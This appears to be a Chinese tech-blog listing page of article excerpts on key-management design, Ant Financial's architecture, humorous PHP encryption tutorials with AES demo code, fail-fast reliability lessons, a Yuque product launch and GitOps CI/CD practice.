更新的过程中，实际是由KMS来判断是否需要更新、向各客户端下发更新指令，并实际生成密钥的。TMS：TOKEN管理系统，用来管理各个系统和密钥直接的对应权限关系。CA：统一认证中心，用来生成并下发数字证书，管理数字证书生命周期。SDK：按照统一标准封装加解密、签名等方法，并在后台与KMS定期通信，维护密钥更新流程。四、密钥管理方案初始化阶段：1、各个Service首先在KMS中接入获得身份令牌token2、各个Service生成自己的RSA公私钥3、各个Service拿自己的RSA公钥去CA申请证书密钥准备阶段：1、Service用自己的证书去KMS申请需要的密钥2、密钥保存在Service本地，定期去KMS重新获取（当有效期设置为0时，即不在Service本地保存，一次一密）业务调用阶段：1、Service用获取到的签名密钥做签名，加密密钥做加密，调用其他服务。2、其他业务线校验签名，返回数据。五、密钥管理的一些经验：1、什么时候做数字签名？每次接口调用都做数字签名。2、数据加密的算法？建议采用对称加密AES256位密钥，待加密的数据类型不同，选择不同模式，一般情况下CBC模式适合大多数场景，XTS模式适合本地存储场景。3、如何判断一条数据是否被加密？在系统迁移的过程中，必然出现明文和加密两种逻辑同事出现的情况，此时就需要程序判断数据是明文还是密文，建议在SDK中提供方法判断。4、存储加密数据库索引如何处理？基于安全的设计，相同的明文可能密文不同，因此需要建立一条不可逆并且与明文一一对应的值做索引。5、存储加密历史数据如何处理？第一次加密之前的历史数据，需要提前先由刷库工具统一将明文刷成密文，刷库时，需要先新建一列密文列，将明文列加密后刷到密文列中，之后程序写入或者更新操作时，需要对明文列、密文列双写，读取操作时只读取密文列，等程序稳定运行一段时间后，再将明文列删除。第一次加密之后，随着密钥定期更新，不同时期的数据使用不同密钥加密。6、密钥如何存储？在KMS服务端，工作密钥需要加密存储于数据库中，加密存储的密钥可采用分段式密钥，通过RAID方式将不同密钥段存储于不同介质中。7、证书如何生成下发？证书生成下发通常有两种方式，第一种是SDK生成RSA公私钥，将RSA公钥发给CA申请证书，CA用自己的私钥签发证书后返回给SDK。第二种是直接CA生成RSA公私钥，并签发证书，并下发给SDK。这两种方式可根据实际业务需求选择。证书是对客户端做身份识别的最重要标识，因此在第一次下发证书时，建议采用可信的第三方系统独立下发，如SRE发布系统。如果有有效且安全的手段保证客户端的合法性，可通过SDK与KMS的交互来下发证书。8、证书如何验证，保证客户端的合法性？证书验证需要两个步骤：（1）验证证书的合法性，通过CA的公钥解密证书，校验签名即可验证证书的合法性、未被篡改。（2）验证客户端持有证书对应的私钥，KMS向SDK发起challenge，向SDK发送一个随机数，SDK使用私钥加密后，返回给KMS，KMS使用证书中的公钥解密，验证SDK确实持有合法的私钥，证明SDK的合法身份。未了保证安全性，KMS发送的随机数可以做一次哈希。9、密钥协商方式？密钥协商可采用集中协商或者分散协商两种方式。（1）集中协商：各个SDK分别向KMS请求密钥，KMS生成后返回给各个SDK。（2）分散协商：假设有两个客户端A和B，A和B使用DH密钥协商算法，来协商密钥。

十五年了蚂蚁为何执着攻坚这两个技术堡垒

阿里妹导读：近日，蚂蚁金服副CTO 胡喜应邀做了《蚂蚁金服十五年技术架构演进之路》的演讲，分享蚂蚁金服对金融科技未来的判断，并首次对外公开蚂蚁金服技术人才培训体系以及 BASIC College 项目。主要观点：蚂蚁金服过去十五年，通过技术重塑了支付和微贷业务。Blockchain (区块链)、ArtificialIntelligence（人工智能）、Security（安全）、 IoT（物联网）和 Cloud computing（云计算），这五大 BASIC 技术仍会是金融科技的基石。BASIC 里最基础的能力是计算能力，只有不断提升计算能力，才能适应未来应用场景的千变万化。金融交易技术的核心是金融分布式中间件，关键是分布式数据库的能力。对数据不丢失，业务不停机是金融级高可用的极致追求，同时，更要具备主动发现风险和自我恢复的能力。金融级分布式系统，最终将走向云原生化。现有的中间件能力将通过 service mesh 形式下沉至基础设施。安全可信的执行环境是金融级系统的底线，安全容器将成为金融行业的强需求。金融级数据智能未来的趋势是 Big Data Base，我们需要开放式的计算架构，从统一存储规范，可插拔的引擎组件，融合计算引擎，到统一的智能 SQL，数据处理与人工智能系统将会进一步融合，最终形成开放智能计算架构的最佳实践。多样化的计算，如流、图、机器学习经常并存于业务场景中，蚂蚁金服联合 Berkeley 大学推进的新一代计算引擎 Ray，着力于打造一个多模，融合的金融级计算引擎，帮助业务以简单的函数式编程实现多样化的分布式计算功能。蚂蚁金服最新开源的SQLFlow，抽象出端到端从数据到模型的研发过程，配合底层的引擎及自动优化，我们希望让人工智能应用像 SQL一样简单。以下是蚂蚁金服副CTO胡喜的分享内容全文：蚂蚁金服过去十五年，通过技术重塑了支付服务小微贷款服务。我们认为 Blockchain (区块链)、Artificial intelligence（人工智能）、Security（安全）、 IoT（物联网）和 Cloud computing（云计算），这五大 BASIC 技术仍会是金融科创新发展的基石。但是，在 BASIC 技术中最基础的能力是计算能力，只有不断提升计算能力，才能适应未来应用场景的千变万化。对蚂蚁来说，要解决两个最关键的计算问题，一个是在线交易支付的问题，另外就是解决金融级数据智能的问题，狭义来讲就是 OLTP 和 OLAP 的问题。 1、金融级云原生，让交易支付更简单讲到金融在线交易，肯定要讲到“双十一”。因为“双十一”是整个中国 IT 届技术驱动力的盛世，蚂蚁在“双十一”的发展过程当中，可以看到金融支付几乎每年都是三倍的增长，到今天，整个系统具备百万级每秒的伸缩支付能力。背后到底怎么做的？有些技术能力就跟跳水项目的规定动作一样，一定要具备这些能力。比如怎么做分布式、微服务，消息队列的问题。具体到蚂蚁，更重要的是解决分布式事务的问题，怎么做高可用，怎么做一致性，数据不能有任何丢失，不能有任何偏差，到最后怎么能够完成金融级的分布式中间件，到现在为止，我们可以看到一点，在高可用，一致性方面我们已经做到在任何情况下的数据最终一致，保证每一笔支付扣款的资金安全。并且我们去年对整体内部的中间件进行了开源，SOFAStack 是我们这么多年沉淀在金融级的最佳实践，我们期待这些实践能够帮助到更多人，从最近开源的数据来看，有 23000 的 Star，100 多个同学来参与贡献，欢迎大家更多地去试用。刚刚讲中间件是能够在跟数据库无关前提的情况下，能够把整个金融交易做好，这是我们基本的要求，但金融交易技术中最关键的是分布式数据库能力。2009 年，蚂蚁启动自主研发数据库 OceanBase，这是一个非常偏向于高可用，一致性分布式的数据库，通过 Paxos 算法解决内部一致性的问题，到今天为止，蚂蚁整个数据库全部跑在 OceanBase 之上。我常常会说什么才是核心技术？有些人说，核心技术只要投入人就可以做好，其实不是这么回事，核心技术不仅仅是有人有资源，还需要时间的积累，是需要天时地利人和，还需要公司、整个业务的支持，才能发展到今天，做技术还是需要一点技术情怀，蚂蚁就是一直这样坚持下去，十年左右的时间坚持开发自己的数据库，从零开始写第一行代码，到现在为止，OceanBase 数据库集群最大处理峰值是 4200 万次 / 秒，单集群最大的节点超过 1000 台，最大存储容量超过 2PB，单表最大的行数是超过 3200 亿行，并且在少数副本故障的情况下，能够做到 RPO=0，RTO<30 秒，这个是我们对于数据库层面上所做一些努力。 ...

关于PHP加解密的青年抬高篇API安全加强篇二

为什么标题总是要带上“API安全”关键字呢？因为我想我乐意。实际上这一篇和上一篇均可以看作是《关于PHP加解密的懒汉入门篇(API安全加强篇一)》》")的后续，只不过侧重点在于安全上。如果说，你没有看上篇，你一定回去看，不然一定会断篇儿！为了避免文章陷入过于抽象复杂的理论讲解，所以这次还得借助元首和东线的将领们以及“反派角色”朱可夫同志。人民好演员列表：男一元首：男二古德里安：路人甲曼施坦因：路人乙冯*博克 “反派”男一上篇我们知道元首和古德里安翻脸了，然后两个人通过非对称加密技术diss彼此，朱可夫没有私钥只能在路边儿打酱油。根据事实，我们知道古德里安又重返了东线战场。当初把人撸了下来，现在又得让人去东线救火，反正这脸我是拉不下来，但元首拉的下来。回到上篇结果提到的问题，就是：对称加密的安全性要人命，非对称加密的性能非常要人命。用我党地话来说就是“不能多快好省”，不符合“可持续发展”，不满足“社会主义主流价值观”。这篇主要就是说“多快好省”的绿色方案。让古德里安回东线肯定得是秘密下令的，加密是肯定。但是这个地方一定要值得注意：那就是元首一定得是用古德里安同志的给他公钥进行加密，然后再发送出去，此时这个密文虽然在东线用飞机撒的满地都是，但是只有古德里安同志自己能用藏在自己裤裆里的私钥进行解密后才能得到明文，也就是说这事儿也只有古德里安和元首两个人知道了。除此之外，还有两种情况，可能爱思考的青年已经考虑到了：元首是不是可以利用自己的公钥对密文进行加密。但这种做法的最终结果就是这个密文只能用元首的私钥进行解密，但是元首的私钥在元首的裤裆里，别人是无法知道的。元首作为高智商罪犯，这种低级错误是不可能犯的。元首用自己的私钥对密文进行加密。这个时候就意味着只有持有元首公钥的东线将领们才可以解密这个密文，然而假如元首并不想让其他人知道他天才一般的部署，这种方式就显得有点儿2了。综上，这种情况下，最正确的方式就是元首利用古德里安的公钥对密文进行加密，然而再撒的满天飞，这会儿只有古德里安能用自己的私钥进行解密。此时，无论是自己家的曼施坦因、冯*博克，还是“反派”的朱可夫，都只能默默当路人甲。在上述案例中（注意，客户端不要理解为狭义角度的手机客户端！）元首充当API服务器的角色。古德里安充当客户端的角色。曼施坦因、冯*博克充当路人甲客户端角色。朱可夫充当中间劫持者的角色。我们回归到现实中，也就是真正搬砖撸代码的现实中。这个时候，如果要对服务器和客户端传输的数据进行非对称加密，那么就得有如下条件：客户端有自己一对公钥私钥，客户端持有服务器的公钥服务器有自己一对公钥私钥，服务器持有客户端的公钥那么问题来了，服务器只有少数一台，客户端成千上万。这会儿摆在搬砖侠们面前的只有两个选择：客户端的公钥和私钥共用一对，这样服务器只要一个公钥就算是拥有了所有客户端的公钥客户端的公钥和私钥都是特立独行的，是颜色不一样的烟火。这会儿服务器就苦逼了，必须维护一坨彼此不同的客户端，同时还要建立和不同客户端的对应关系那么，好了，下面让各位搬砖侠们吃口屎保持一下冷静，我们看看支付宝是怎么做的。当你的系统接入支付宝的时候，支付宝会要求你生成一对你的公私钥，然后私钥你自己藏好了，公钥上传到支付宝（这个过程相当于支付宝有了你的公钥），然后再你上传完你的公钥后，支付宝会返回给你支付宝的公钥。其中当你使用RSA普通版本的时候，所有商户得到的支付宝公钥都是同一个，当你使用RSA2的时候，每个商户收到的支付宝公钥都是不尽相同的。所以说，怎么做都行，一切都看你选择。说起支付宝，你们接入的时候都一定看到有个叫做签名验证的功能，我认为这个很重要，是必须值得一提的一件事情。回到元首这里来，我们说元首给古德里安发消息“滚到东线，去库尔斯克棱角部”，正确的做法应该是用古德里安的公钥进行加密，此时该消息只能被古德里安的私钥解密，其他人都只能干瞪眼。如果元首抽风了，用自己的私钥加密了密文，这会儿会是什么情况咧？那就是持有元首公钥的人都可以看到“滚到东线，去库尔斯克棱角部”这条机密消息了，很多人都会发朋友圈或者私聊类似于“听说古德里安要回来了”。其实，用自己私钥解密，然后利用自己公钥解密是一个二逼的行为，但是，这个过程可以用来验签是没有任何问题的。什么是验签？假如有一天，希姆莱想提前篡位，冒充元首给古德里安发号施令了。此时，古德里安只需要用元首的公钥验证一下命令的签名，一验返回了false，那就说明这坨命令不是来自于元首，这种数据就应该直接扔掉即可！所以，上面叨逼叨叨逼叨这么久，为的就是得出一个结论，你们理（bei）解（song）一下：公钥加密，私钥解密私钥加密，公钥验签然后我们再往前追溯一下，我们的为什么要用非对称加密？是为了防止对称加密措施密钥的泄漏，而非对称加密不存在密钥泄漏的情况。但是，非对称加解密的性能以及部署使用方式，非土豪所能及也！那么，有没有办法既能得到鱼，又能得到熊掌咧？最近开了一个微信公众号:高性能API社区，所有文章都先发这里

构建可靠系统的原则与实践

随着阿里技术的发展，我们的技术系统越来越成为社会的基础设施，对于这些系统的可靠性要求也就越来越高。但是实际上很多的基础的产品和系统确仍然会出现一些稳定性问题，那么如何才能构建可靠的系统呢？是不是制定非常严格而细致的规则就可以做出可靠的系统呢？航空业的教训在回答这个问题之前，我们先来看看对于系统可靠性要求非常高的航空业是怎么做的？美国的FAA是在航空安全领域事实上的权威，为了保证航空器的安全，FAA制订了非常详细而复杂的航空器认证规则，而这些规则是否就保证了航空器的安全了呢？让我们来了解一下最近的两起空难： 2019年3月10日，埃塞俄比亚航空ET302航班在起飞六分钟后坠毁，飞机上载有149名乘客和8名机组人员。 2018年10月29日，印尼狮航JT610航班在起飞后约十分钟坠毁，飞机上载有181名乘客，和8名机组人员。几百条鲜活生命的消逝，这是多么严重的后果啊！究竟是什么原因导致了这样的灾难呢？这两起空难的共同点是都是波音的737MAX机型，并且都是在起飞后不久发生的空难。那么这个背后的原因是什么呢？虽然官方的调查还没有结束，但是民间的分析指向了同一个原因，那就是这款机型的设计问题。上图展示了Boeing 737 MAX的CFM LEAP引擎，值得注意的是和一般民航飞机不同的是，引擎的上沿和机翼平面几乎齐平。为什么会这么设计呢？这是因为波音737系列最早是上世纪60年代设计的，当时的引擎的直径小很多，外形更加细长，而机翼的高度是和引擎直径相匹配的。但是随着技术的发展，更新更省油的引擎直径变得越来越大，这时候原来的机翼高度无法满足更大直径引擎的安装空间，要想调整机翼的高度则需要改变起落架的设计，改变起落架的设计则需要改变起落架收起时相关机体位置的设计，而机体设计的变化会带来更多的变化从而会被FAA认为是一款全新型号的飞机，而全新型号的飞机则需要经历完整的FAA认证流程，会带来巨大的时间和经济成本。为了避免这样的成本波音选择了将引擎前移并且提升高度，但是这样带来了另外一个问题，由于空气动力学方面的原因，飞机会变得静不稳定，特别是在起飞阶段，引擎的推力会导致飞机迎角过高进入危险的失速状态。为了回避这个问题，波音引入了一个自动控制程序MCAS，通过读取迎角传感器的数据判断飞机是否迎角过高，如果过高的话自动控制飞机降低迎角，从而保证飞机的安全。那么这么一套保证飞行安全的系统和空难有什么关系呢？事实上MCAS系统工作得非常好，根据波音自己的统计，Boeing 737 MAX系列已经完成了数十万次的安全起降。但是问题在于当传感器工作不正常时，MCAS有可能会根据错误的迎角数据做出错误的判断和动作，也就是在不应该降低迎角的时候降低迎角，导致飞机直冲地面。一起后果扩大的故障回到我们的工作中，前不久我们碰到了一起系统故障，其过程有一定典型的意义，为了描述方面，这里隐去一些具体细节，简单说一下故障的过程。开始的时候，由于某些原因导致缓存命中率有所下降，而缓存命中率下降导致了数据库load升高，而数据库load升高以及可能的慢SQL导致了部分请求在获取DB connection的时候超时，从而引发了exception。当exception发生的时候，为了保证系统的可用性，系统逻辑进入了一段兜底逻辑，而这段兜底逻辑在特定的条件下产生了错误的返回，从而导致线上脏数据，而这些脏数据带来了业务资损和大量的人工订正数据的成本。这个故障处理的过程并不是重点所以不再赘述，我们要问的是为什么一个简单的exception会导致这么严重的后果呢？两个事例的共同点如果我们仔细去观察上述两个事例，我们会发现其中有如下几个共同点：为了好的目的而引入了非常简单的备用逻辑直接保证“效果”这些备用逻辑在绝大部分情况下都能正常工作但是在极端情况下这样的逻辑失效了，并且产生了严重的后果换句话说，系统设计者在尝试用非常简单的逻辑去解决一个实际上复杂的问题，虽然实际上并没有完全解决问题，但是因为这样的逻辑能够通过大量的测试（或者合规检查），所以系统设计者“假定”问题得到了解决，从而放心地应用到了生产环境。那么一个非常复杂的问题是否真的能够通过一个简单巧妙的办法解决吗？没有银弹在系统设计领域，我们通常会把问题的复杂性分为两类，分别是偶得复杂性，实质复杂性。偶得复杂性 Accidental Complexity 所谓偶得复杂性是指由开发者自己在尝试解决问题时引入的复杂性挑战，一般而言是由解决问题的方法和手段带来的，对于特定的问题，不同的方法会带来不同的偶得复杂性。实质复杂性 Essential Complexity 所谓实质复杂性是由事务本身所决定的，和解决方法无关。对于偶得复杂性，通过变换解决办法是有可能用简单的办法来解决的，但是对于实质复杂性，我们是无法通过改变手段来解决的，而必须采用相应复杂的方法来解决问题。换句话说对于实质复杂的问题，不要指望有银弹。上述事例中，实际的环境和问题是存在比较大的实质复杂性的，然而我们却试图通过一些非常简单的逻辑去解决问题，从而带来了严重的后果。快速失败 Fail Fast那么要想防止这类问题，设计高可靠的系统要怎么做呢？这里我想介绍一条反直觉的软件设计原则，快速失败（Fail Fast）： In systems design, a fail-fast system is one which immediately reports at its interface any condition that is likely to indicate a failure.这是一条反直觉的原则，大部分人听说这条原则的第一反应是这样不是让系统变得更加脆弱了吗？实际上并不是，原因在于我们不能停留在某一次的失败（failure），而是需要观察完整的过程，如下图所示：当问题发生时，系统立即停止工作，由人工介入找到并以合理的方式解决根本的问题，然后系统恢复运作。通过这样的选择，我们就能够更早更容易地暴露问题，每当系统发生问题之后，真正的根因会更快得以解决，所以最后我们就能得到一个更加可靠的系统。需要说明的是，快速失败不是说系统设计不处理任何问题到处失败，而只是在面对essential complexity的时候，不要尝试用一个简单粗暴的方案去解决，要么就用一套合理的机制设计去解决它，要么就fail fast把控制权交给系统上层决策，通常来说最终可能会回归到人，由人来分析和处理问题。 ...

阿里巴巴支付宝员工都在用的知识管理工具究竟有何特别

公司内各部门工作文档难以共享？缺乏高效便捷的团队协作工具？文档放到在线云平台担心安全？…… 2019年4月22日，蚂蚁金服旗下知识创作与分享工具语雀发布“空间功能”。语雀在支持在线文档编写、多人协作、灵活的团队管理和金融级安全存储的基础上，新增“空间”功能，助力企业知识管理，帮助企业快速提升团队内容协作与知识管理效率，同时搭建企业知识门户，系统沉淀企业数据资产。语雀是蚂蚁金服体验科技研发的创新产品，目前已是阿里员工进行文档编写、知识沉淀、搭建组织知识库的标配。便捷的在线文档编辑基于蚂蚁金服体验技术的实践积累，语雀采用了自主研发的文档编辑器，不仅便捷易用，响应迅速，还支持文档分享及多样化的编辑功能。同时，语雀还具备实时云储存功能，编辑过程中可进行自动保存。当文档编辑完成后，你可以通过在线的形式，或将文档导出为Word、PDF等本地文件来分享给朋友或者同事。如果希望非团队成员参与文档的编辑，可以使用文档的分享功能来解决。而历史版本管理功能，可以查阅历史编辑的每一个版本。工作中一个文档的最终完成常常需要多人参与，到最后容易混淆，而通过文档分享功能和历史版本管理可以轻松解决文档版本管理问题。金融级安全实时存储依托于蚂蚁金服支付宝底层技术，语雀信息存储具备金融级安全属性，对数据采用了双重密钥加密存储确保数据安全，同时文档发布可历史永久保存确保永不丢失、完整的操作日志方便团队危险操作有迹可循。除此之外，语雀还获得了ISO安全认证和公安部三级等级保护认证。 “空间”：灵活的企业团队和知识体系管理语雀空间是面向企业或组织推出的全新知识管理方式，在这里你可以实现知识在线化管理，与成员一起交流分享知识。语雀“空间”功能支持灵活的团队管理，除了自己手动建立团队，还支持钉钉等平台的团队导入。知识文档管理方面，语雀支持结构化知识归档管理，通过文档大纲，自动生成文档要点，使用知识库目录编排，让多篇文档结构化，形成一本本像书一样清晰易读的知识库。于企业机构而言，语雀提供了全新的体系化知识管理，帮助企业让协作更高效，让知识成为企业财富。以云谷学校为例，在语雀中，云谷学校创建了许多团队，「智库」是其中之一。“智库”是云谷学校教育科学研究院搭建的一个内部分享平台，是云谷“科研扁平化”的尝试：每一个老师都是智库的主人，可以在这里建立自己的小平台，展示自己正在研究和探索的领域及进展；它也是开放和互动的，希望通过把自己向其他人打开：“把自己的研究暴露在大家的监督下，把自己的探索暴露在大家的帮助下，让自己的能力暴露在那些可以发起协作的人的面前。” 在“智库”有研究院搜集整理的一些教育理论与方法，也有老师们自发分享的自己的推荐和研究内容，也有技术部门、HR部门建立的工具平台，让云谷的所有人更好地熟悉云谷已经走过的路。学校的老师们表示，语雀知识库不仅有利于学校的知识沉淀，也有利于教师团队工作的展开。目前，语雀“空间功能”已正式上线，点击官网即可开通体验。体验地址：https://yuque.com。本文作者：华蒙阅读原文本文为云栖社区原创内容，未经允许不得转载。

关于PHP加解密的懒汉入门篇API安全加强篇一

懒汉入门这两点就足以说明这篇文章不想要着有什么高端大气的技术内容，我跟你讲，全是水。不可能有什么质数素数、椭圆曲线加密、迪菲-赫尔曼什么的，不可能有的。首先我不懂，其次，反正你们也不懂。不过这里还是要先说一点儿，就是很多泥腿子一直拿md5当加密算法来看待，但实际上md5是一种信息摘要算法（其实就是哈希），不是加密算法，因为md5不可逆，但是加解密是一个可逆的过程，所以以后这种低级错误还是不要犯的为好。加密技术一直是技术圈中的一个独特领域和分支，其一些原理并不是随随便便就可以理解的来的。如果没有良好的数学底子，怕是很难研究下去。但是，作为一篇水文，不研究原理，仅仅来用一用来实践一把，还是没什么大问题的。加密分为两大类：对称加密，常见算法有DES、3DES、AES等等，据说AES是比较屌的最新最常用的算法非对称加密，RSA、DSA、ECDH等等对称加密用粗话说就是用同一个密钥对信息加解密。比如元首要操作东线战场了，给古德里安发了一段电报，大概意思就是“你给我闪开，让我操作！立马南下打基辅！”，但是元首又怕朱可夫给看到这段消息，于是元首就用了一个强壮的密钥123456来加密这段话，然后这段话就变成akjdslfjalwjglajwg了。古德里安收到这坨乱七八糟的玩意后，用123456来解密一下，得到明文“你给我闪开，让我操作！立马南下打基辅！”，然而朱可夫由于抓破脑壳也想不到这个超级密钥123456，所以朱可夫注定一脸懵逼，最终导致基辅60万苏军被奸！但是这里面有一个问题就是元首是如何告诉古德里安私钥是123456的。两个人提前就商量好了，1941年6月22日的前一天偷偷商量好了。。。两个人不是提前商量好的，而是古德里安到东线后，元首通过打电话、发电报、QQ、微信。。。。。。对于朱可夫来说，如果对方采用了方案1，那么他也没啥好办法，只能等潜伏在古德里安身边的特工卧底返回123456。由于密钥被暴露了，所以必须换新的密钥，元首这会儿只能走途径2告诉古德里安新的密钥，这会儿逗逼的事情来了，如何对密钥进行加密。答案是不能，此时问题陷入到欲要加密，必先加密的矛盾中。所以，这个密钥是注定要通过明文传输了，只要是明文传输，朱可夫就一定有机会把密钥搞到手。非对称加密就是解决这个难题而生。密钥换来换去还想不暴露，扯犊子。还是元首和古德里安，这会儿他俩分别生成一对自己的公钥和私钥。这里需要强调的是：公钥和私钥是成双成对生成的，二者之间通过某种神秘的数学原理连接着，具体是啥，我也不知道公钥加密的数据，只能通过相应的私钥解密；私钥加密的数据，只能通过对应的公钥解密公钥可以颁发给任何人，然而私钥你自己偷偷摸摸藏到自己裤裆里，别弄丢了这会儿就简单了，元首把自己公钥给古德里安，然后古德里安把自己公钥给元首，然后都偷偷摸摸保存好自己的私钥。有一天，元首告诉古德里安“你丫别干了，天天不听我操作！”，然后用古德里安颁发的公钥加密好了，然后让空军到东线直接仍传单，扔的满地都是，古德里安看到后从裤裆里拿出自己的私钥解密，然后就立马请假回家休息了，回去前用元首的公钥加密了如下消息“傻逼，老子还不伺候了！”，然后让空军回去撒了柏林一地，元首看到后从裤裆里拿出自己的私钥一解密：“卧槽。。。”。虽然这双方都是大大咧咧的发传单，但是朱可夫只能在旁边一脸懵逼、生无可恋。因为用于解密的私钥从来不会在外流通，所以，泄露的可能性是0。但是，有一点是值得说明，那就是无论是对称加密还是非对称加密，都顶不住用机器是强行暴力猜解私钥。一年不行两年，两年不行二十年，二十年不行一百年，总是能猜出来的，这是没有办法的一件事情。大家可以搜一搜关于768bit RSA被KO的事件，是吧。下面我们从gayhub上扒了一个对称加密的库下来，尝试一把aes对称加密算法，地址如下： https://github.com/ivantcholakov/gibberish-aes-php直接git clone到目录中，然后测试代码如下： <?phprequire 'GibberishAES.php';$pass = '123456';$string = '你好，古德里安，我是希特勒，你赶紧给我滚回来...';GibberishAES::size(256);$encrypted_string = GibberishAES::enc( $string, $pass );$decrypted_string = GibberishAES::dec( $encrypted_string, $pass );echo PHP_EOL."加密后的：".$encrypted_string.PHP_EOL;echo "解密后的：".$decrypted_string.PHP_EOL.PHP_EOL;保存为test.php，运行一下结果如下：然后我们将上面代码反复运行100,000次，看看耗费多长时间： require 'GibberishAES.php';$pass = '123456';$string = '你好，古德里安，我是希特勒，你赶紧给我滚回来...';GibberishAES::size(256);$start_time = microtime( true );for( $i = 1; $i <= 100000; $i++ ) { $encrypted_string = GibberishAES::enc( $string, $pass ); $decrypted_string = GibberishAES::dec( $encrypted_string, $pass );}$end_time = microtime( true );echo "一共耗时：".( $end_time - $start_time ).PHP_EOL;保存为test.php，运行一下结果如下： ...

GitOpsKubernetes多集群环境下的高效CICD实践

为了解决传统应用升级缓慢、架构臃肿、不能快速迭代、故障不能快速定位、问题无法快速解决等问题，云原生这一概念横空出世。云原生可以改进应用开发的效率，改变企业的组织结构，甚至会在文化层面上直接影响一个公司的决策，可以说，云时代的云原生应用大势已来。在容器领域内，Kubernetes已经成为了容器编排和管理的社区标准。它通过把应用服务抽象成多种资源类型，比如Deployment、Service等，提供了一个云原生应用通用的可移植模型。在这样的背景下，我们如何在云原生的环境下实践更高效的DevOps来达到更有生产力的表现就成为了一个新的课题和诉求。与GitOps这个概念相比，大家可能对DevOps的概念已经耳熟能详了。起初DevOps是为了打破开发测试、运营这些部门之间的壁垒，通过自动化的构建、程式化的脚本，最低限度减少人工误差，一定程度上提高应用版本的迭代效率；容器技术出现以后，轻量、标准化的能力使得DevOps技术才有了突飞猛进的发展。不管技术怎样更新迭代，DevOps最主要的核心诉求是不变的，那就是提高应用迭代的频率和降低成本。GitOps就是DevOps的逻辑扩展，它的核心目标是为了更加高效和安全的应用发布。首先我们提取出一些用户在做devops的过程中遇到的痛点进行分析。第一个问题是如何自动化推进应用在环境栈中的无差别发布.这里我列举了三种环境，测试环境、生产环境和预发环境，对于一个应用来说，我们通常的设定都是把不同分支部署到对应环境，比如master分支的源码对应的是线上环境，latest分支对应的是预发环境，其他开发分支对应地部署到测试环境；目前大多数的做法是创建不同的job，拉取不同的源码分支、部署到不同的环境，或者同一个job，通过添加不同的构建参数来决定进行怎样的构建和发布动作。非常容易产生混乱和不便于管理。第二个问题就是，生产环境的发布权限一般都是需要严格控制的，通常只有应用管理员或者运维管理员才有生产发布权限。我们在跟一些客户的交流中发现，一种方式是在同一套cicd环境中创建不同的job，然后通过基于角色访问控制策略来做job的隔离，只有管理员权限的人员才能看到用于发布生产的job；更直接的一种做法就是再建一套cicd环境专门做生产环境的发布，但这样既浪费资源又降低了应用迭代的频率。第三个问题是说我们想要提高应用迭代的频率进而降低人力成本、时间成本、把精力放在新业务或创新业务的拓展上，但目前我们的开发测试人员在应用运行状态或测试结果的同步与反馈上有一定的隔阂，另外一个是线上业务出现问题的时候，如何快速定位、复现和回滚，这是一个我们可以重点思考的地方。以上三点只是我列举出来的我们用户在实际使用cicd的过程中的一些痛点的子集，那接下来我们就带着这些问题来看一下gitops模型的设计思路是怎样的我们在设计gitosp发布模型的时候是有以下这些核心诉求的：第一个是版本管理，我们希望每一个发布的应用的版本号都能跟git commit id关联，这样的好处就是每一个变更都有历史记录查询、可以更快进行故障定位和修复，第二个是基线管理，这里我们一会儿会讲到分两种类型的基线，第三个是怎么做安全发布，包括发布权限管理以及安全审批的内容；最后一个是如何让开发测试人员快速获取反馈首先gitops的核心思想就是将应用系统的声明性基础架构和应用程序存放在Git版本库中，所有对应用的操作变更都来源于Git仓库的更新，这也是gitops这个名称的由来。另外一个问题是，按照以往通用的做法，我们可能会把应用如何构建如何部署的脚本以及配置文件跟应用源码本身存放在同一个仓库里，这样带来的问题有两个，一是开发人员可能还需要维护这个部署脚本或配置文件，不能把精力集中到产品开发上，另外一个问题是部署脚本有时候会涉及环境敏感信息，安全性不够，所以我们这里一定要把应用源码仓库与构建仓库分开管理。接下来就是基线管理，基线管理分两种，一种是环境栈基线，如图所示，我们的设定是，生产环境只能部署master分支的代码，预发环境只能部署latest分支的代码，预览环境用来部署其他开发分支，这里有个名词叫预览环境，其实也就是测试环境，但我们会在开发分支通过测试、通过验证成功合并到latest分支以后动态销毁这个测试环境，当然这在kubernetes容器集群下是非常容器做到的，在其他具体的场景下可以用不同的策略。这个基线我们可以把它称为小基线，它是用来明确管理应用在预览、预发、生产环境中的推进的。大基线是针对线上发布版本的管理的，这能保证我们在线上出现故障的时候能快速回滚到上一个稳定的版本。这在生产发布管理中是必不可少的，在gitops中我们还能快速定位故障精确到某个git commit。然后是应用发布的权限管理和安全审批，gitops中的权限管理是通过代码合并的控制来做的，在这个模型中，普通的开发人员没有cicd环境比如jenkins的访问权限，更精确地说的话是只有日志查看的权限，在git这一端，普通开发者只有向开发测试分支推送代码的权限，并可以申请向latest分支合并代码，即提交MR/PR的权限，当普通开发者新建MR/PR后，就会触发构建把应用部署到预览环境，管理员通过查看这个新分支的构建部署是否通过一系列测试和验证来决定是否接受这个MR/PR，只有管理员接受MR/PR的合并后，latest分支代码才会重新构建和部署到预发环境，这样就通过MR/PR的接受和拒绝来达到应用发布安全审批的目的。最后是如何进行快速反馈和团队成员间的互动，这包括两部分内容：一个是普通开发测试人员在推送源码后，能通过邮件、钉钉、slack等工具实时地获取构建结果，对自己的应用进行高效开发测试，；另一方面是能在MR/PR的页面上查看自动化测试的反馈结果、应用预览链接、其他团队成员的comment等。下面是使用GitOps管理应用发布到不同kubernetes集群的架构图和时序图。首先是应用源码与构建源码分离。最上面有一条虚线，虚线上面是普通开发者能看到的，或者说是有权限进行操作的部分，剩下其他的部分都是管理员才有权限做的，绿色区域是Jenkins的流水线任务。普通开发者没有Jenkins环境的创建Job和构建Job的权限，他有的只是构建Job的日志查看权限。这个普通应用是在Git仓库里，它有不同的分支，有一定设定的关系，每次有构建的时候会从另外一个Git仓库里做，比如preview-plpeline、prod-plpeline，在这里面可以存放一些信息，只有应用管理员才能看到，普通开发者没有权限看到信息。然后我们需要设置应用发布环境栈，这在个示例中我们有预览环境、预发环境、生产环境的设置，应用在预发环境和生产环境中的发布是需要经过管理员安全审批的。最后是一个时序图，开发人员提交新的feature，创建指向latest分支的MR，创建MR的动作会触发preview-plpeline的构建，构建会拉取preview-plpeline的构建仓库，构建仓库存放的是构建脚本以及要部署的环境信息。然后就是自动化的构建流程，首先会从应用源码仓库把应用源码拉取下来做构建，静态代码测试、单元测试，测试结果会反馈到MR上，然后打包容器镜像并把镜像推送到镜像仓库，最后会把应用通过文件部署到Kubernetes的集群里并进行功能测试，测试结果反馈到MR上，部署之后会收集应用相关信息，通过钉钉通知发送到开发群里。开发人员收到钉钉通知，可以直接点击链接查看应用状态，如果有问题，可以返回来自己重新开发，再重新进行提交，把前面的流程再走一遍，没问题就可以请求管理员进行审批，把代码